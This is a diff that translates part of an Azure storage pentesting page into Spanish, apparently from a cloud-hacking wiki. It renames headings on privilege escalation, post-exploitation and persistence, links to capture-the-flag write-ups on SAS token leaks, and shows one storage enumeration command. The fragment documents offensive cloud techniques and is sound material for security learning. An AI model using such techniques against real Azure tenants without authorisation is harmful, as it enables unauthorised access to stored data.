-Az PowerShell enumeration +Az PowerShell enumeración ```powershell # Get storage accounts Get-AzStorageAccount | fl @@ -435,25 +435,25 @@ New-AzStorageBlobSASToken ` {{#endtab }} {{#endtabs }} -### Comparticiones de archivos +### Compartición de archivos {{#ref}} az-file-shares.md {{#endref}} -## Privilege Escalation +## Escalada de privilegios {{#ref}} ../az-privilege-escalation/az-storage-privesc.md {{#endref}} -## Post Exploitation +## Post-explotación {{#ref}} ../az-post-exploitation/az-blob-storage-post-exploitation.md {{#endref}} -## Persistence +## Persistencia {{#ref}} ../az-persistence/az-storage-persistence.md @@ -464,7 +464,7 @@ az-file-shares.md - [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview) - [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support) -- [Holiday Hack Challenge 2025 – Spare Key (Azure static website SAS leak)](https://0xdf.gitlab.io/holidayhack2025/act1/spare-key) +- [Holiday Hack Challenge 2025 – Spare Key (sitio web estático de Azure SAS leak)](https://0xdf.gitlab.io/holidayhack2025/act1/spare-key) - [Holiday Hack Challenge 2025: Blob Storage (Storage Secrets)](https://0xdf.gitlab.io/holidayhack2025/act1/blob-storage) - [https://learn.microsoft.com/en-us/cli/azure/storage/account](https://learn.microsoft.com/en-us/cli/azure/storage/account) - [https://learn.microsoft.com/en-us/cli/azure/storage/container](https://learn.microsoft.com/en-us/cli/azure/storage/container)